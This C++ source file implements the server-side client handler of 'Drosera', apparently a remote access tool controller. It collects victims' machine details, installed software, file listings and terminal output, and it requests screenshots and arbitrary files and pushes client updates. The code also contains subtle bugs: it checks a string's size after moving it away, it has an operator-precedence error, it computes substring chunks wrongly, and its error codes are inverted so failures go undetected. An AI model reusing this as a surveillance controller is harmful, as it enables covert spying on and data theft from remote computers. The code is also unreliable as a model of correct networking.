/*
 * =====================================================================================
 *
 *       Filename:  client.cpp
 *
 *    Description:  
 *
 *        Version:  1.0
 *        Created:  08.07.2012 22:38:56
 *       Revision:  none
 *       Compiler:  gcc
 *
 *         Author:  akoww, 
 *   Organization:  
 *
 * =====================================================================================
 */
#include "client.hpp"

namespace Drosera {

/*
 * Set the total and current client counter to zero
 */
unsigned int Client::m_count = 0;
unsigned int Client::m_total = 0;

/*
 * Returns the Userdata
 */

const struct User& Client::getUserData ( void ) const {
	return m_user;
}

/*a
 * Get only client ID
 */

unsigned int Client::getUserId ( void ) {
	return m_user.m_id;
}

/*
 * Default Client constructor
 */

Client::Client ( SSL *my_ssl ) {

	// Set the ssl data for the ssl-socket
	setSSL ( my_ssl );
	
	// Set the new total amount of clients
	m_count++;
	m_user.m_id = m_total++;

	// writes the ip to the userdata
	setIp();

	// Put the socket/fd into the ev-loop and set the funktion for
	// handeling the events
	m_io.set<Client, &Client::checkSocket> ( this );
        m_io.start ( getSocket(), ev::READ );
}

/*
 * The Client event-handler - checks the client and handel the incomming data
 */

void Client::checkSocket ( ev::io &watcher, int revents ) {

	// checks for error on the ev-event ( should always be correct )
	if ( EV_ERROR & revents ) {
        	error ( "got invalid event" );
        	return;
        }

	std::string buf;
	int ret = 0;
 
 	// allow the ev to read and write to the fd/socket
        if ( !revents & EV_READ ) {
	        m_io.set ( ev::READ | ev::WRITE );
		return;
	}

	// read the incomming massage
	// start the disconnected signal if broken
	if ( ( ret = recvSocket ( buf )) ) {
		warning ( "Problem recieving bytes", ret );
		m_signalDisconnected ( m_user.m_id );
		return;
	}
	
	// checks if the incomming request ist complete, when not
	// but the part into a buffer
	if ( checkIncome ( buf ) ) {
		//if the request is complete then it should be rad
		if ( ( ret = readIncome()) != 0 ) {
			warning ( "Incomming Message is not valid!", ret );
		}
		// TODO ! chnage some stuff
		m_signalIncome ( m_user );
		clearBuffer();
	}
}

/*
 * checks if the incomming massage is as big as max recv
 * limit, if yes, then put this part into the buffer
 */
bool Client::checkIncome ( std::string& buf ) {
	
	m_buffer.push_back ( std::move ( buf ) );
	
	if ( buf.size() != MAXRECV ) return true;
	return false;
}

/*
 * clears the input buffer
 */

void Client::clearBuffer ( void ) {
	m_buffer.clear();
}

/*
 * default destructor, delete this client from the ev-loop
 * and decrease the current client counter
 */

Client::~Client ( void ) {
	m_io.stop();
	info ( "Client disconnected" );
	m_count--;
}

/*
 * check if the client ids are equal
 */

bool Client::checkId ( unsigned int id ) {

	if ( m_user.m_id == id ) return true;
	return false;
}

int Client::readIncome ( void ) {

	std::stringstream ss ( std::ios::binary | std::ios::out | std::ios::in );
	
	for ( unsigned int x = 0; x < m_buffer.size(); x++  )
		ss << m_buffer[x];	

	
	// Check if Stream incomming stream is valid
	

	Drosera::Request req;

	if ( !req.ParseFromIstream ( &ss ) ) {
		warning ( "Problem reading buffer!" );
		return -1;
	}

	// test if request aren't GET or EXIST
	// client isnt allow to send a GET request

	if ( req.prototype() == Drosera::Request::EXIT ) return -2;
	else if ( req.prototype() == Drosera::Request::GET ) return -3;

	// check the type of the Send request

	switch ( req.reqtype() ){

		case Drosera::Request::FILEMANAGER :
			for ( size_t x = 0; x < req.filemgr_size(); x++ )
				readFilemanager ( req.filemgr( x ) );
			return 0;
		
		case Drosera::Request::USERDATA :
			for ( size_t x = 0; x < req.user_size(); x++ )
				readUserdata ( req.user( x ) );
			return 0;

		case Drosera::Request::TERMINALCALL :
			for ( size_t x = 0; x < req.value_size(); x++ )
				readTerminalcall ( req.value (x) );
			return 0;

		case Drosera::Request::MESSAGE :
			for ( size_t x = 0; x < req.value_size(); x++ )
				readMessage ( req.value( x ) );
			return 0;

		case Drosera::Request::UID :
			if ( !checkId ( req.id() ) ) {
				warning ( "Got some problems with an UID of a Client" );
				return -5;
			}
			return 0;
		default :
			warning ( "Broken request! Be Carefull." );
			return -4;
	}

	return 0;
}

/*
 * append the new incomming massage from the client to the others
 */
inline void Client::readMessage ( const std::string& msg ) {
	m_user.m_mes.appendMsg( msg, HE );
}

/*
 * append a file to the current dictionary list
 */

inline void Client::readFilemanager ( Drosera::Request::Filemanager file ) {
	
	m_user.m_file.m_size.push_back ( file.size() );
	m_user.m_file.m_date.push_back ( file.date() );
	m_user.m_file.m_type.push_back ( file.type() );
	m_user.m_file.m_filename.push_back ( std::move ( file.name() ));
}

/*
 * set the userinfos we got from our client
 */

inline void Client::readUserdata ( Drosera::Request::Userdata user ) {
	
	switch ( user.type() ) {

		case Drosera::Request::Userdata::NAME :
			m_user.m_info.m_generall.m_name = std::move ( user.value() );
			break;
		case Drosera::Request::Userdata::COMPUTER :
			m_user.m_info.m_generall.m_computer = std::move ( user.value() );
			break;
		case Drosera::Request::Userdata::OS :
			m_user.m_info.m_generall.m_os = std::move ( user.value() );
			break;
		case Drosera::Request::Userdata::ISP :
			m_user.m_info.m_generall.m_isp = std::move ( user.value() );
			break;
		case Drosera::Request::Userdata::UPTIME :
			m_user.m_info.m_generall.m_uptime = std::move ( user.value() );
			break;
		case Drosera::Request::Userdata::CPUNAME :
			m_user.m_info.m_hardware.m_cpu_mod = std::move ( user.value() );
			break;
		case Drosera::Request::Userdata::CPUSPEC :
			m_user.m_info.m_hardware.m_cpu_spec = std::move ( user.value() );
			break;
		case Drosera::Request::Userdata::GPUNAME :
			m_user.m_info.m_hardware.m_gpu_mod = std::move ( user.value() );
			break;
		case Drosera::Request::Userdata::GPUSPEC :
			m_user.m_info.m_hardware.m_gpu_spec = std::move ( user.value() );
			break;
		case Drosera::Request::Userdata::MBRNAME :
			m_user.m_info.m_hardware.m_mbr_mod = std::move ( user.value() );
			break;
		case Drosera::Request::Userdata::MBRBIOS :
			m_user.m_info.m_hardware.m_mbr_bios = std::move ( user.value() );
			break;
		case Drosera::Request::Userdata::RAMNAME :
			m_user.m_info.m_hardware.m_ram_mod = std::move ( user.value() );
			break;
		default: 
			warning ( "Bad Error on Request!" );
	}

	// get the software infos from our client
	for ( unsigned int x = 0; x < user.software_size() ; x++ ) {
		Drosera::Request::Userdata::Software sw = user.software ( x );
		if ( sw.start() == true ) clearSoftware();
		m_user.m_info.m_software.m_software.push_back ( std::move ( sw.name() ));
		m_user.m_info.m_software.m_software.push_back ( std::move ( sw.info() ));
	}

}

/*
 * send a request to our client
 */
int Client::sendRequest ( Drosera::Request& req ) {

	std::stringstream ss ( std::ios::binary | std::ios::in | std::ios::out );

	// serialize our request to binary bytes
	if ( !req.SerializeToOstream ( &ss ) )
		return -1;
	
	// convert stream to string
	std::string bufstr = ss.str();
	size_t bufsize;

	// check how big our request is and send it in some parts if needed
	if ( ( bufsize = bufstr.size() ) >= MAXSEND - 1 ) {
		for ( size_t x = 0; x < bufsize; x += ( MAXSEND - 1 ) ) {
			std::string subbuf = bufstr.substr ( x, x + MAXSEND - 1 );
			if ( !sendSocket ( subbuf ) )
				return -2;
		}
	}
	// no need to split up the request
	else
		if ( !sendSocket ( bufstr ) ) return -2;
	return true;

}

/*
 * clear the software buffer-list
 */
inline void Client::clearSoftware ( void ) {
	m_user.m_info.m_software.m_software.clear();
	m_user.m_info.m_software.m_info.clear();
}

/*
 * append the teminal call to the other terminal calls
 */
inline void Client::readTerminalcall ( const std::string& msg ) {
	m_user.m_terminal << msg;
}

/*
 * public methodes to get the signals that get called when a
 * signal is incomming or a client disconnects
 */
Signal<void, const struct User&>& Client::signalIncome ( void ) {
	return m_signalIncome;
}

Signal<void, unsigned int>& Client::signalDisconnected ( void ) {
	return m_signalDisconnected;
}

/*
 * Snapshot request by value ( quality )
 */
int Client::getSnap ( unsigned short value ) {

	// set the request options
	Drosera::Request req;
	req.set_prototype ( Drosera::Request::GET );
	req.set_reqtype ( Drosera::Request::SCREENSNAP );
	
	// check if quality value is ok or not
	if ( value > 100 || value < 20 ) return -2;

	// a little bit ugly but works
	char buf[2]; buf[0] = value; buf[1] = 0;
	req.add_value ( buf );

	// send request
	if ( !sendRequest ( req ) != 0 ) 
		return -1;

	return 0;
}

/*
 * Send a request for a file ( starts a new ftp-connection )
 */
int Client::getFile ( std::string& path ) {
	
	// set the request informations
	Drosera::Request req;
	req.set_prototype ( Drosera::Request::GET );
	req.set_reqtype ( Drosera::Request::FILE );
	req.add_value ( path );
	
	//perform request
	if ( !sendRequest ( req ) )
		return -1;

	return 0;
}

int Client::getFile ( const char* file ) {
	std::string buf ( file );
	return getFile ( buf );
}

/*
 * request for getting all userdata, should be used once
 */
int Client::getUserInfo ( void ) {

	// set request
	Drosera::Request req;
	req.set_prototype ( Drosera::Request::GET );
	req.set_reqtype ( Drosera::Request::USERDATA );
	
	// perform request
	if ( !sendRequest ( req ) )
		return -1;

	return 0;

}
/*
 * request for upgrading the client
 */
int Client::sendUpdate ( void ) {

	// set request
	Drosera::Request req;
	req.set_prototype ( Drosera::Request::SEND );
	req.set_reqtype ( Drosera::Request::UPDATE );
	
	// perform request
	if ( !sendRequest ( req ) )
		return -1;

	return 0;

}

/*
 * sending a massage to the client
 */
int Client::sendMessage ( std::string& msg ) {

	// set request options
	Drosera::Request req;
	req.set_prototype ( Drosera::Request::SEND );
	req.set_reqtype ( Drosera::Request::MESSAGE );
	
	// check if the message isnt to big
	if ( msg.size() >= MAXSEND ) return -1;
	req.add_value ( msg );
	
	// send message
	if ( !sendRequest ( req ) )
		return -1;

	return 0;
}

int Client::sendMessage ( const char *msg ) {
	std::string buf ( msg );
	return sendMessage ( buf );
}

}
